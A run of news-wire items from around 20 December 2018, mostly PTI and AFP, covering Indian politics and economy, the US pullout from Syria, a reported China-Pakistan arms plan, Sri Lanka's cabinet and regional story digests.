"The statements coming from that side demonstrate their insincerity and duplicity. "We have been demanding that stop allowing your territory to be used for terror groups and terrorists who are operating from your soil. No action is being taken against them," he said. In a development that is expected to cause diplomatic ripples, the New York Times reported on Wednesday China and Pakistan have a confidential plan to jointly build a new generation of fighter aircraft and other weapons as part of Beijing's Belt and Road Initiative. The report by Maria Abi-Habib in the New York Times is significant as it challenges China's frequent assertions that the Belt and Road Initiative (also known as One Belt, One Road) is a purely commercial venture with peaceful purposes. Pakistan plays a key role in the Belt and Road Initiative, having received nearly $62 billion in Chinese investments for the China-Pakistan Economic Corridor (CPEC). CPEC involves a highway from China to Pakistan's Gwadar port, which would allow Beijing to bypass the Indian Ocean route for trade and shipment of imports and exports, both shortening transit time and also preventing China's rivals from blocking supplies. Providing details about the defence manufacturing proposal, the New York Times claims the plan was created by the Pakistan Air Force and Chinese officials early this year. It envisages using a special economic zone built under CPEC to produce a new generation of fighter aircraft. The two countries are also expected to jointly build new radar systems and other weapons. While the New York Times did not specify what kind of fighter aircraft China would build in Pakistan, Beijing is currently focusing on two stealth aircraftthe J-20 and J-31and indigenous derivatives of the Russian Sukhoi SU-27 family as well as the single-engine J-10. Over the past decade, Pakistan and China have been cooperating on manufacturing the JF-17 low-cost fighter in the Punjab province. While China has developed the JF-17, it has not inducted the aircraft into service. The JF-17 recently won an export order from Nigeria and the aircraft was also spotted at an air force parade in Myanmar. The New York Times report speculates China intends to use the planned defence manufacturing hubs in Pakistan to win new export customers among Muslim countries. The New York Times also explains that China is continuing development of the Beidou satellite navigation system, Beijing's response to the American Global Positioning System (GPS). Pakistan is a key partner for Beidou, having built a number of ground tracking stations for the network. In addition to aiding civilian navigation, Beidou will improve navigation and targeting accuracy for Pakistan's military assets such as aircraft, ships and missiles. The New York Times article warns the Gwadar port could be used by Chinese submarines in the future for refuelling. China had signed a deal worth $6 billion to sell Pakistan eight conventional submarines in 2015. The New York Times report also explains concerns that the US has about the military dimension of the Belt and Road Initiative. It reproduces a warning from US Vice President Mike Pence about how China had pushed Sri Lanka into a debt trap to further its geopolitical ambitions. Pence recently said, Just ask Sri Lanka, which took on massive debt to let Chinese state companies build a port of questionable commercial value, Pence added. It may soon become a forward military base for Chinas growing blue-water navy. The US has started to withdraw its troops from Syria, the White House said on Wednesday, asserting that it has defeated the Islamic State terror group in the strife-torn country. We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency, US President Donald Trump tweeted soon after which the White House announced that its troops have started returning from Syria. We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency. Donald J. Trump (@realDonaldTrump) December 19, 2018 Five years ago, ISIS was a very powerful and dangerous force in the Middle East, and now the United States has defeated the territorial caliphate. These victories over ISIS in Syria do not signal the end of the Global Coalition or its campaign, White House Press Secretary Sarah Sanders said in a statement. She said the United States troops have started returning home. The US and our allies stand ready to re-engage at all levels to defend American interests whenever necessary, and we will continue to work together to deny radical Islamist terrorists territory, funding, support, and any means of infiltrating our borders, she said. The Coalition has liberated the ISIS-held territory, but the campaign against ISIS is not over, said Dana W. White, Defense Department chief spokesperson. We have started the process of returning US troops home from Syria as we transition to the next phase of the campaign. For force protection and operational security reasons, we will not provide further details. We will continue working with our partners and allies to defeat ISIS wherever it operates, White said. The Pentagon declined to give any comment immediately. At this time, we continue to work by, with and through our partners in the region, Pentagon spokesman Col Rob Manning said when asked whether the US military is preparing for a full withdrawal of forces in northeast Syria. The Wall Street Journal described it as an abrupt decision by the Trump administration. US officials began informing partners in northeastern Syria of their plans to begin immediately pulling American forces out of the region, where they have been trying to wrap up the campaign against Islamic State, the daily said, quoting unnamed official. Several US lawmakers warned the Trump administration that this was a grave error. Republican Senator Marco Rubio said that the full and rapid withdrawal from Syria is a grave error with broader implications beyond just the fight against ISIS. The President's tweet is dangerous, premature and wholly inconsistent with the facts on the ground in Syria and our military's advice. I have travelled to Syria to review our mission, and our military has performed well beyond expectations, said Senator Jeanne Shaheen. Shaheen said he is very concerned that an ill-informed and hasty withdrawal of troops will breathe new life into ISIS and other terrorist groups and cede America's leadership role to Russia, Iran and Syrian President Bashar al-Assad. The Yemeni mother, who was barred from travelling to the United States under the White House travel ban, has finally reached California to say goodbye to her two-year-old dying son. Shaima Swileh was granted a visa this week by the US State Department after she spent more than two months apart from her unwell son. Swileh's husband Ali Hassan was forced to take the couple's only son Abdullah on his own to the US for treatment for a genetic brain condition. Hassan and Abdullah departed for the US on October 1. Swileh flew out of Egypt and landed on Wednesday night at San Francisco International Airport. She is expected to travel about 22 miles to the University of California San Francisco's Benioff Children's Hospital Oakland to reunite with Abdullah, who is on life support. The State Department granted Swileh the waiver on Tuesday after lawyers with the Council on American-Islamic Relations sued this week, ending a year-long battle for the family. "This will allow us to mourn with dignity," the boy's father, Ali Hassan, said in a statement provided by the Sacramento chapter of the Council on American-Islamic Relations. Hassan, who is a US citizen and lives in Stockton, brought Abdullah to California in the fall to get treatment for a genetic brain disorder. "My wife is calling me every day wanting to kiss and hold her son for the one last time," Hassan said, choking up as he made a public plea at a news conference Monday, a day before the government granted the visa. The couple moved to Egypt after marrying in war-torn Yemen in 2016 and had been trying to get a visa for Swileh since 2017 so they could all move to California. Citizens from Yemen and four other mostly Muslim countries, along with North Korea and Venezuela, are restricted from coming to the United States under the travel ban enacted under President Donald Trump. When the boy's health worsened, the father decided to go ahead to California in October to get their son help. As Swileh and her husband fought for a waiver, doctors put Abdullah on life support. Hassan started losing hope and was considering pulling his son off life support to end his suffering. But then a hospital social worker reached out to the council, which sued Monday, said Basim Elkarra of the Council on American-Islamic Relations in Sacramento. Swileh lost months with her child over what amounted to unnecessary delays and red tape, Elkarra said. (With inputs from agencies) MIDC gives Rs 250cr cheque to MSRDC for Samruddhi project Mumbai, Dec 20 (PTI) The Maharashtra Industrial Development Corporation (MIDC) Thursday handed over a cheque of Rs 250 crore to the Maharashtra State Roads Development Corporation (MSRDC) for land acquisition of Samruddhi Highway that will connect Mumbai with Nagpur. Industries Minister Subhash Desai handed over the cheque to Public Works Minister Eknath Shinde in the presence of Chief Minister Devendra Fadnavis at Sahyadri gueshouse in south Mumbai. "Various institutions are making secondary nature of amount available for the land acquisition of the Nagpur Mumbai Samruddhi Highway. "The MIDC has already advanced an amount of Rs 1,000 crore to the MSRDC. It has further made available secondary funds worth Rs 250 crore to speed up the work of Samruddhi Highway," a government release stated. The 700-km expressway will connect the two key cities of Maharashtra. The Rs 49,247-crore venture, a pet project of Fadnavis, also envisages the development of various nodes along the expressway. PTI MM RSY RSY Rs 150 cr relief to onion growers in Maharashtra Mumbai, Dec 20 (PTI) Maharashtra Government Thursday announced Rs 150 crore as relief to onion farmers. The decision by the state cabinet came amid reports about farmers selling freshly harvested onions at as low as Rs 1.50 a kg in Maharashtra, the top producer of the bulb in the country. The financial relief consists of an ex-gratia payment at the rate of Rs 200 per quintal (with an upper limit of 200 quintal per onion farmer) for the kitchen staple sold between November 1 and December 15, 2018. Principal secretary (agricultural marketing) Anoop Kumar said the decision will be applicable to 75 lakh metric tonne of onions. Chief Minister Devendra Fadnavis asked the officials concerned to preparing a comprehensive policy for onions. Last month, farmer Sanjay Sathe, from Nashik district, had sent his onion sale earnings of Rs 1,064, after selling 750 kg of his produce in a wholesale market, to the Prime Minister's Office (PMO) as a protest. The PMO had later returned the farmer's money order. The farmer had said his intention was to prompt the government to take some steps to ease the financial stress that farmers were suffering because of the low prices. Another farmer from Maharashtra's Ahmednagar district, Shreyas Abhale, had sent a money order of Rs 6 to Chief Minister Devendra Fadnavis as a mark of protest against the crashing prices of onion and the paltry returns. Abhale had said that after selling 2,657 kg onions at the rate of Rs 1 per kg at the Sangamner wholesale market in the district and adjusting market expenses, he was left with only Rs 6. PTI MR GK VT VT VT New Delhi, Dec 20 (PTI) The government Thursday sought approval from Parliament for equity infusion worth Rs 2,345 crore into struggling Air India and another Rs 1,300 crore for Air India Asset Holding. As part of efforts to revive the financial fortunes of the national carrier, the government has decided to transfer debt worth Rs 29,000 crore to Air India Asset Holding Company, a special purpose vehicle. The airline has debt worth around Rs 55,000 crore. In the second batch of Supplementary Demands for Grants 2018-19 tabled by Finance Minister Arun Jaitley in the Lok Sabha, approval has been sought for Rs 2,345 crore equity infusion into the airline under a turnaround plan. Besides, Parliament's nod has been sought for providing grants-in-aid of Rs 1,300 crore to Air India Asset Holding. Earlier this year, the government's strategic stake sale offer for Air India failed to attract any bidders and since then, various other options are being explored to improve the financial position of the national carrier. Air India is staying afloat on a bailout package extended by the previous UPA regime. As part of the turnaround plan, Air India is to receive up to Rs 30,231 crore from the government subject to meeting certain performance thresholds. The 10-year bailout package began from 2012. Meanwhile, the government has sought Parliament's approval for additional gross expenditure of Rs 85,948.86 crore for the current fiscal ending March 2019. PTI RAM RAM ANU ANU New Delhi, Dec 20 (PTI) Days after a UK court ordered fugitive businessman Vijay Mallya's extradition, the External Affairs Ministry on Thursday said the Indian mission there is in "active touch" with British authorities regarding the case. The Westminster Magistrates' Court last week had ordered Mallya's extradition, in a major boost to India's efforts to bring back the fugitive wanted for alleged fraud and money laundering charges amounting to an estimated Rs 9,000 crores. Responding to a question on India's future course of action, Ministry of External Affairs (MEA) Spokesperson Raveesh Kumar said: "On December 10, the Westminster Court had recommended that Mallya should be extradited to India. Now it will go to the Home Secretary who will have two months to formally order his extradition." He said Mallya, within a period of two weeks, can also file an appeal. "We will have to see what happens next. I would like to tell you that our mission in London, they are in active touch with UK authorities on this issue," he said. To a separate question on absconding billionaire Mehul Choksi, Kumar said the CBI and the Enforcement Directorate's request was submitted to the Antigua and Barbuda authorities. Currently, the situation is that "we are following up on it and requesting them to expedite their response", he said. On Nirav Modi, he said India's request is under the consideration of the UK Home Secretary before it can be sent to the court for a decision. The CBI has charge sheeted both Nirav Modi and Choksi separately in the PNB scam. PTI ASK ASK ANB ANB Guwahati, Dec 20 (PTI) Keventer Agro Thursday said it has identified three locations to set up a manufacturing facility in Assam with a "large investment" and it will be announced by the end of the next year. The company Thursday rolled out its UHT milk products for the north eastern market and expects a revenue of Rs 150 crore from here in the next two years. "Our team is actively studying the market for the last 12 months. We are talking with the Assam government and we have identified three locations. By 2019, you will hear a large investment from us in Assam," Keventer Agro chairman and MD Mayank Jalan said at a press conference here. The company is currently trying to find out and fix the supply chain for sourcing raw materials for the proposed plant before announcing the investment, he added. "The plant will be not only for UHT milk. We will produce our different range of products for the north eastern market," Jalan said. The company currently has 11 operational plants and another one is being constructed at Midnapur in West Bengal. On Keventer Agro's UHT milk, the CMD said the products have been priced very competitively and hopes to capture 25 per cent of the market within next one year. "Our price is 20 per cent lower than the competitors because our logistic cost is minimal as the plant is within 1,000 km distance in West Bengal, while the competitors are making their products in Gujarat or Maharashtra," he added. Jalan informed the company has invested Rs 150 crore last year to set up Eastern India's largest UHT milk plant at Barasat in West Bengal that has a processing capacity of two lakh litres per day. Talking about its sales expectations, Keventer Agro chief executive officer (UHT Milk) Saurabh Jajodia said: "We are hopeful of achieving Rs 150 crore revenue in North East by 2020. The Indian UHT milk market is expected to cross Rs 10,000 crore by 2023." In terms of volume, the market is 15 lakh litres per day with 30 per cent being consumed in East India, which is growing over 20 per cent in the last five years, he added. The new product 'Keventer Milk' is available in three variants -- standardised (4.5 per cent fat), toned (3 per cent fat) and double tonned (1.5 per cent fat). PTI TR MKJ (Eds: Disclaimer: The following press release comes to you under an arrangement with PR Newswire. PTI takes no editorial responsibility for the same.) TAIPEI, Taiwan, Dec. 20, 2018 /PRNewswire/ -- Delta, a global provider of power and thermal management solutions, announced it has enabled an energy-efficient 200kW containerized data center solution for the Singapore-based Campana Group. The modular and scalable properties of Delta's Containerized Data Center Solution were integral for the project to be completed in just 50 days, from shipment (originating at Delta's production base in Wujiang, China) to full installation of coupled containers in Yangon, Myanmar. This data center features superior energy efficiency with annual average PUE (Power Usage Effectiveness) below 1.43, thus, achieving gold level of the Green Grid standard. Designed for the SIGMAR (Singapore-Myanmar) International Submarine Cable Project, the Campana data center is the largest high-speed data center connecting Singapore and Myanmar, and shall benefit end consumers in Southeast Asia with an enriched digital life. Dr. Myo Ohn, CEO of Campana Group, noted: "Building data centers in Myanmar is extremely challenging. You have to meet power requirements as well as efficiency targets. We wanted a supplier that we could depend on both in terms of quality and technical ability. Therefore, we chose Delta." The Campana Group's submarine cable project in Myanmar, with Singapore as the Internet hub, will connect submarine cable network to cable landing stations to meet the rapidly growing demands for online activities in Myanmar. "It's a pleasure to partner with Campana, who aims to empower digitalization in Southeast Asia, and together we have reached such satisfactory results. Delta's prefabricated data center infrastructure solutions not only enable fast deployment and construction as demanded, but also come with high reliability and integration to fit the full range of application environments present in the edge computing field. Moreover, we assist customers' in penetrating more network connectivity service markets," Dr. Charles Tsai, general manager of Delta's Mission Critical Infrastructure Solutions Business Unit, added. To learn more about Delta's offerings for Campana data center, visit http://www.deltapowersolutions.com/en/mcis/success-story-deltas-containerized-data-center-solutions-support-campanas-submarine-cable-landing-station-in-myanmar.php Delta has been offering similar data center product services since 2007. It also has the first containerized data center production facility in mainland China with hundreds of customized and standard products sold to customers in Australia, Southeast Asia as well as other areas around the world. PWR PWR Beijing, Dec 20 (AFP) The third Canadian detained in China is being held for working illegally in the country, the Chinese foreign ministry said Thursday amid diplomatic tensions over the previous two detentions on national security grounds. The Canadian, a woman named Sarah McIver, faces "administrative penalties", said Chinese foreign ministry spokeswoman Hua Chunying at a press briefing in Beijing, without specifying what the penalties entail. Canada's National Post newspaper has identified McIver as a teacher from Alberta. (AFP) PMS PMS Colombo, Dec 20 (PTI) Sri Lankan President Maithripala Sirisena on Thursday named a 30-member Cabinet, but retained the control over the island nation's security forces and the police by ignoring Prime Minister Ranil Wickremesinghe's nominees, indicating that two leaders are still at loggerheads after weeks of political crisis. The Cabinet announcement came after the reinstatement of Wickremesinghe as prime minister. Sirisena ignored Wickremesinghes nominees for Cabinet positions from those who had defected from his Sri Lanka Freedom Party (SLFP). At least 3 seniors had defected from the SLFP to Wickremesinghes United National Party (UNP). Sirisena's decision on October 26 to sack prime minister Wickremesinghe and install former strongman Mahinda Rajapaksa in his place triggered an unprecedented constitutional crisis. Later, Sirisena also dissolved the 225-member Parliament and called for a snap election on January 5. However, Wickremesinghe was re-appointed as prime minister by Sirisena following a Supreme Court order, ending the 51-day political standoff in the country. The president now holds the Defence and Mahaweli Development and Environment Ministry portfolios. He retained the control over the police which is investigating an alleged plot to kill him that triggered a political crisis in the country. Wickremesinghe also hold portfolios of National Policies, Economic Affairs, Resettlement & Rehabilitation, Northern Province Development, Vocational Training & Skills Development & Youth Affairs. Thilak Janaka Marapana was sworn-in as the Minister of Foreign Affairs. Sirisena's holding of the Law and Order Ministry has been disputed by the UNP, claiming that the president was only constitutionally allowed to be the defence minister in addition to the subject of environment. Analysts said that Cabinet appointments indicate that Sirisena and Wickremesinghe were still at loggerheads. Sirisena, who had publicly vowed not to reinstate Wickremesinghe, was was forced to change his stance after court rulings over the issue. PTI Corr NSA NSA Washington, Dec 20 (AFP) The United States does not want to be the "Policeman" of the Middle East, US President Donald Trump tweeted Thursday, as he defended his controversial decision to pull US forces out of Syria. "Does the USA want to be the Policeman of the Middle East, getting NOTHING but spending precious lives and trillions of dollars protecting others who, in almost all cases, do not appreciate what we are doing? Do we want to be there forever? Time for others to finally fight....," he tweeted. Trump added: "Russia, Iran, Syria & many others are not happy about the U.S. leaving, despite what the Fake News says, because now they will have to fight ISIS and others, who they hate, without us. "I am building by far the most powerful military in the world. ISIS hits us they are doomed!" The US president faced intense opposition to his abrupt announcement Wednesday that Islamic State had been defeated in the region, and that he was ordering the 2,000 US troops in Syria to exit the country. Trump's decision runs counter to long-established US policy for Syria and the region. It blindsided lawmakers, the Pentagon and international allies alike. "Getting out of Syria was no surprise," Trump wrote in an earlier tweet. "I've been campaigning on it for years, and six months ago, when I very publicly wanted to do it, I agreed to stay longer. "Russia, Iran, Syria & others are the local enemy of ISIS. We were doing there work. Time to come home & rebuild. #MAGA" The US withdrawal could have major geopolitical ramifications, and plunges into uncertainty the fate of US-backed Kurdish fighters who have been tackling Islamic State jihadists, thousands of whom are thought to remain in Syria. (AFP) PMS PMS New Delhi, Dec 20 (PTI) Following are the top foreign stories at 2000 hours: FGN20 PAK-INDIA-JINNAH HOUSE Jinnah House in Mumbai belongs to Pak, says Foreign Office Islamabad: Pakistan asserted on Thursday that Jinnah House in Mumbai belonged to it and any attempt by India to take the building under its control will not be accepted, days after External Affairs Minister Sushma Swaraj said her ministry is in the process of getting the bungalow transferred in its name. By Sajjad Hussain FGN16 LANKA-LD CABINET Sri Lankan President appoints Cabinet after political crisis; keeps police under him Colombo: Sri Lankan President Maithripala Sirisena on Thursday named a 30-member Cabinet while rejecting some of Prime Minister Ranil Wickremesinghe's nominees and retained control over the security forces and police, indicating that the power tussle between them is far from over. FGN14 UK-LD IMMIGRATION UK's post-Brexit visa strategy to benefit Indian students, professionals London: The UK government has unveiled its post-Brexit visas and immigration strategy that removes any cap on highly-skilled migrants, a proposal which is expected to benefit Indian students and professionals. By Aditi Khanna FGN21 US-WASIA-LD TRUMP US does not want to be 'policeman of the Middle East': Trump Washington: The United States does not want to be the "Policeman" of the Middle East, US President Donald Trump tweeted Thursday, as he defended his controversial decision to pull US forces out of Syria. (AFP) FGN19 RUSSIA-PUTIN Putin says West trying to 'hold back' powerful Russia Moscow: President Vladimir Putin on Thursday said the West was threatened by an increasingly powerful Russia, as he promised further economic growth during an end-of-year press conference. (AFP) FGN9 US-TIBET-LAW Trump signs bill on Tibet into law despite China protest Washington: US President Donald Trump has signed a bipartisan bill on Tibet into law that could enrage China, paving the way to impose a visa ban on Chinese officials who deny American citizens, government officials and journalists access to the sensitive Himalayan region, homeland of the exiled Dalai Lama. By Lalit K Jha. PTI PMS PMS Maha govt's Rs 11 crore assistance to farmers meagre: NCP (Eds: Adding quotes) Mumbai, Dec 20 (PTI) The NCP Wednesday termed as "meagre" the Maharashtra government's Rs 11 crore assistance to farmers, whose crops were hit by unseasonal rains in April-May this year. NCP national spokesperson Nawab Malik said the "inadequate" help underscored the "anti-farmer" policy of the Narendra Modi government at the Centre and Devendra Fadnavis dispensation in the state. Malik accused both the governments of indulging in 'jumlebazi' (rhetoric). "The assistance announced is meagre...They have rubbed salt on the wounds of farmers," Malik told reporters here. The NCP leader said that before becoming the prime minister, Modi had visited hailstorm-hit farms in Vidarbha's Wardha district in March 2014 and expressed concern over the losses suffered by farmers despite the then Congress-NCP government announcing adequate help to them. "Modi ji had then said 'change the government, we would help'. But the help the Fadnavis government has announced now shows the policy of Modi ji, Devendra ji and the BJP towards farmers," Malik said. He accused the government of not giving complete farm loan waiver and not taking requisite steps to tackle the drought-like situation in the state. "It is clear that this is an anti-farmer government," Malik said. He said according to a Government Resolution (GR) dated December 18, monetary assistance of Rs 8,14,98,540 was announced to farmers, whose crops and fruits were affected by unseasonal rains and hailstorm in 25 districts of the state in April this year. Similarly, the government announced Rs 2,93,00,655 help to farmers, whose produces were damaged by unseasonal rain and hailstorm in 13 districts in the month of May, he added. Among those who stand benefited by the help include a farmer each from Nashik and Wardha, six from Hingoli and 10 each from some other districts, the former Maharashtra minister noted. PTI ENM GK NP NP Maha govt approves formation of Homi Jehangir Bhabha varsity Mumbai, Dec 20 (PTI) The Maharashtra government Thursday approved formation of a university named after renowned nuclear physicist Homi Jehangir Bhabha in a bid to enable students to opt for a "choice-based credit system" and study the subjects of their choice. The approval for setting up the Dr Homi Jehangir Bhabha University was given by the state Cabinet at its meeting here. Education Minister Vinod Tawde, addressing reporters at Mantralaya, said the university will consist of the Institute of Science, the Sydenham College of Commerce and Economics, the Elphinstone College and Government college of Education (BEd College). "Once this university is established, students will have the option of studying through a choice-based credit system. For instance, a student studying commerce in Sydenham College will have the option of studying arts as well in Elphinstone College," Tawde said. The minister added students will gain educational benefits from the collaboration of these colleges and thereby generate better employment opportunities through skill development in the age of modern educational practices. In another decision, the Cabinet approved amendments in the clauses of Maharashtra self-financed universities guidelines, Tawde said. The government has approved the recommendations of the Bongirwar Commission and accordingly, such universities will now be able to introduce courses of different subjects, he said. The minister further said the Cabinet also gave a go- ahead to fill 32 permanent posts of deans for 11 public universities in the state. PTI MM RSY RSY Honour killing: wife of slain man says cops ignored complaint Beed (Maha), Dec 20 (PTI) A woman whose husband was allegedly killed by her brother in a case of `honour killing' in Beed city of Maharashtra claimed Thursday that she had approached police earlier fearing danger, but no action was taken. Sumit Shivajirao Waghmare (25), an engineering student, was allegedly stabbed to death in broad daylight outside his college here Wednesday by Balaji Landge, his brother-in-law. Bhagyashree Landge, Sumit's wife and Balaji's sister, told reporters Thursday that she and Sumit, who had married against her family's wishes, were facing threats. On October 25 she and her husband approached Shivaji Nagar Police Station to file a complaint, but due to "political pressure" the police took no action, she alleged. Bhagyashree and her husband's relatives met Superintendent of Police G Shreedhar Thursday to demand speedy probe. Deputy Superintendent of Police Sudhir Khiradkar said that after Bhagyashree left her home, her family had lodged a missing person complaint, and afterwards it was found that she and Sumit had got married. However, he denied that the couple had lodged any complaint about threat to their lives. No one has been arrested in connection with the killing yet. PTI CORR KRK KRK Maharashtra govt aid to onion growers a "cruel joke": Oppn Mumbai, Dec 20 (PTI) The opposition Congress and the NCP Thursday termed as a "cruel joke" the Maharashtra government's announcement of Rs 200 per quintal ex-gratia to onion growers and called for increasing the assistance. The Congress has asked the BJP-led government to raise the ex-gratia by Rs 10 per kg, while the NCP said it be increased to Rs 5 per kg. "The government has short-changed farmers by announcing Rs 200 ex-gratia per quintal. (Falling prices of) onions have already brought tears in the eyes of farmers. "Instead of wiping those, the government has played a cruel joke on them. The government should immediately declare ex-gratia of Rs 10 per kg," Leader of the Opposition in the Assembly Radhakrishna Vikhe-Patil of the Congress said on Twitter. Hitting out at the Fadnavis government, Opposition Leader in the Legislative Council Dhananjay Munde of the NCP said farmers had originally demanded ex-gratia of Rs 500 per quintal. "So, instead of the ex-gratia of Rs 2 per kg, the government should increase it to Rs 5 per kg and transfer the amount within a month on the accounts of farmers," Munde added. He warned his party would stage protests in case the government did not given any relief to onion growers within a week. The Maharashtra government Thursday announced Rs 150 crore as relief to onion farmers. The decision by the state Cabinet came amid reports about farmers selling freshly harvested onions at as low as Rs 1.50 a kg in Maharashtra, the top producer of the bulb in the country. The financial relief consists of an ex-gratia payment at the rate of Rs 200 per quintal (with an upper limit of 200 quintal per onion farmer) for the kitchen staple sold between November 1 and December 15, 2018. PTI ENM RSY RSY (Eds: With court's observations; reactions) Kolkata, Dec 20 (PTI) The Calcutta High Court on Thursday allowed the BJP's 'Rath Yatra' programme in West Bengal as it set aside the state government's decision to refuse permission for the rallies over apprehensions of communal unrest, saying courts can interfere if administrative authorities exercise their discretionary powers in a whimsical manner. While directing the police to deploy adequate force to ensure that there is no breach of law and order,Justice Tapabrata Chakraborty asked the state BJP to inform the superintendents of police of districts where the rallies will enter at least 12 hours ahead of schedule and to ensure that the 'yatras' are conducted by abiding the law and they do not impede normal movement of vehicular traffic. The court said that the petitioner BJP will be vicariously responsible for any damage or loss of public property. Welcoming the order, the BJP hit out the ruling Trinamool Congress in West Bengal for denying permission for its rally and questioned the "silence" of opposition on the issue. "Why are human rights activists and opposition parties silent on denial of a right to a political party to organise its programme in West Bengal. If any NDA/BJP Government had stopped an opposition Programme, it would have been called an Undeclared Emergency. Why Silence now?" BJP leader and Union Minister Arun Jaitley tweeted. State president Dilip Ghosh said that a new schedule for holding the rath yatras will be prepared. "I can assure that there will be no breach of law and order from our part," he said. The party had planned three 'Rath yatras' from different parts of West Bengal which will travel across the state's 42 parliamentary constituencies. The rallies are part of the BJP's aggressive campaign to make inroads in the state, where it is gradually increasing its vote share. It has three MLAs in the 294-member Assembly and two Lok Saha MPs from the state. On December 6 a single judge bench of the HC had refused permission to BJP to hold the 'Rath Yatra', which was scheduled to be flagged off by BJP chief Amit Shah from Cooch Behar in North Bengal on December 7. The party had then approached the division bench. The division bench had on December 7 asked the state chief secretary, the home secretary and the director general of police to hold a meeting with three representatives of the BJP and take a decision on the 'yatra' by December 14. After parleys with the BJP team, the three officers refused permission for the rallies on December 15 on the grounds that it might lead to communal tension. The state BJP had moved the court again challenging the government's denial of permission to its programme. Allowing the BJP rallies, Justice Chakraborty observed that the officials concerned did not have sufficient material to totally deny permission to the petitioner to organise the rallies, without even making an endeavour as to whether the yatras can be allowed by imposing reasonable restrictions. The court observed that discretion exercised by the administrative authorities can certainly be interfered with by the court, specially when such powers have been exercised in a whimsical manner. Advocate General Kishore Dutta had submitted before the court that it has limited scope of judicial review in an administrative decision to not allow the yatra on the basis of intelligence inputs and apprehensions of communal tension. Dutta had on Wednesday submitted a report in a sealed cover to the court apparently detailing the intelligence inputs of likely communal unrest if the yatra was allowed. Justice Chakraborty said that as the yatras are not for any unlawful purpose, they ought not to be totally prohibited unless there is imminent threat of breach of peace and even then, the restraint should be just and reasonable. Observing that the petitioner has been mechanically denied permission to organise the yatra, the court said that reliance has been placed on intelligence reports by the administration for such denial, but names of the districts have not been disclosed. The court also noted that the BJP had written several letters to different administrative and police officers from October 29 for consultations for the Rath Yatra, but none were responded to. According to the original schedule submitted by the BJP, Shah was to kickstart the campaign called 'Save Democracy Rally' from Cooch Behar district on December 7, from Kakdwip in South 24 Parganas on December 9 and from Tarapith temple in Birbhum on December 14. Justice Chakraborty, who presided over the earlier single bench that injuncted the yatras on December 6, said that the sole ground of the earlier judgement was that the rally was to start from 10 am the next morning. Praying for setting aside of the denial of permission by the three officers, BJP counsel S K Kapur alleged on Thursday that the decision communicated to the party was at the behest of the state government. Kapur submitted that it does not reflect any independent application of mind by the court-appointed members and as such was not sustainable. Rallies are part of political activities of a political party and a decision to restrict or prohibit must be based on cogent reasons, he said. Appearing for the state, Advocate General Kishore Dutta submitted that rights under Article 19 of the Constitution are not absolute and are subject to public order, meaning that the sovereign can restrict or prohibit a rally. Dutta said there is apprehension that the yatras will turn into communal propaganda. PTI AMR KK RT New Delhi, Dec 20 (PTI) Days after quitting the NDA, Upendra Kushwaha-led Rashtriya Lok Samta Party (RLSP) is all set to join the UPA fold on Thursday, a Congress leader said. Kushwaha has already held talks with the Congress leadership and a formal announcement will be made at the party headquarters soon, he said. The former Union minister's joining the UPA is likely to give a boost to the formation of a grand alliance in Bihar to counter the NDA combine of Bhartiya Janata Party-Janata Dal(U)-Lok Janshakti Party. "Kushwaha has already held talks with top Congress leadership and his joining the UPA fold is only a formality now," a top Congress leader, who was part of the talks, told PTI. The Congress, Rashtriya Janata Dal, Former Bihar Chief Minister Jitan Ram Manjhi-led Hindustani Awam Morcha (Secular) are already part of the United Progressive Alliance (UPA) and are seeking to give a fight to the National Democratic Alliance (NDA) in the upcoming Lok Sabha polls. The saffron alliance had swept the Lok Sabha elections in 2014, winning 31 of the state's 40 seats. PTI SKC ASK ASK TIR TIR New Delhi, Dec 20 (PTI) Seasoned diplomat Harsh Vardhan Shringla was Thursday appointed as the next Ambassador of India to the United States. Shringla, a 1984-batch Indian Foreign Service diplomat will succeed Navtej Sarna. "He is expected to take up the assignment shortly," the Ministry of External Affairs said. At present, Shringla is serving as Indian High Commissioner to Bangladesh. Senior diplomat Riva Ganguly Das, presently Director General of Indian Council for Cultural Relations, has been appointed as new High Commissioner to Bangladesh. PTI MPB MPB TIR TIR New Delhi, Dec 20 (PTI) The CBI has arrested senior journalist Suman Chattopadhy for his alleged involvement in chit fund scam in West Bengal, officials said Thursday. It is alleged that Chattopadhyay, editor of leading Bengali daily Ei Samay, has taken money from some of the chit fund owners, they said. He was called to the probe agency's Kolkata office for questioning where he was taken into custody, they said. A look out circular was also issued against him, they said PTI ABS SOM SOM New Delhi, Dec 20 These are the top stories from the northern region at 9.30 pm NEWDELHI LGD29 DL-HC-LDALL SAJJAN New Delhi: Former Congress leader Sajjan Kumar approached the Delhi High Court Thursday seeking time till January 30 to surrender after being recently sentenced to life imprisonment in a 1984 anti-Sikh riots case. DEHRADUN NRG2 UKD-WORKERS-CLASH Dehradun: The BJP and the Congress workers clashed over the Rafale deal issue at Congress Bhawan here, a senior police official said. LUCKNOW DEL17 UP-CONSTABLE Lucknow: A Special Investigation Team (SIT) of the UP Police has suggested in its report that constable Prashant Chowdhary had opened fire "without any provocation" at Apple employee Vivek Tiwari here in September leading to his death. KANPUR DES5 UP-KUMBH-TANNERIES Kanpur: The Maha Kumbh in Allahabad starting next month could spell trouble for lakhs of workers, tanners, and meat and leather exporters in view of the Uttar Pradesh government's order to close tanneries and meat factories in Kanpur and Unnao for three months during the congregation. LUCKNOW DEL4 UP-YEARENDER Lucknow: Uttar Pradesh lived up to its reputation of being a hotbed of politics with the BJP and other saffron outfits keeping the Ayodhya issue alive and the opposition testing its mahagathbandhan-in-the-making by winning crucial bypolls in 2018. FAIZABAD NRG7 UP-JINNAH Faizabad: A photo of Pakistan founder Muhammad Ali Jinnah during an event in Uttar Pradesh's Faizabad jail has sparked a row, with the BJP and right-wing groups demanding strict action against the organisers. NOIDA DES41 NCR-TECHIE-LD SUICIDE Noida: An IT firm executive, who was suspended temporarily over allegations of sexual harassment at workplace, was found dead at his home here, with the police registering a case against some of the company's employees, including two women who had complained against him, for suicide abetment, officials said Thursday. NEWDELHI DES18 DL-DU-ENTRANCE EXAMS New Delhi: The Delhi University is planning to introduce online entrance exams from next session onwards, officials said here. NEWDELHI DES17 DL-ASSEMBLY-METRO New Delhi: A day after the much-awaited Metro Phase-IV was approved by the Delhi government, the ruling AAP and the opposition BJP Thursday traded charges in the assembly over delay in the project. JAMMU DES14 JK-NC-JOIN Jammu: Expelled BJP leader and former MLA Gagan Bhagat Thursday joined the National Conference here in the presence of party president Farooq Abdullah, who promised regional autonomy to Jammu, Ladakh and Kashmir regions if his party comes to power in the state. LUCKNOW DES11 UP-ASSEMBLY-LD WALKOUT 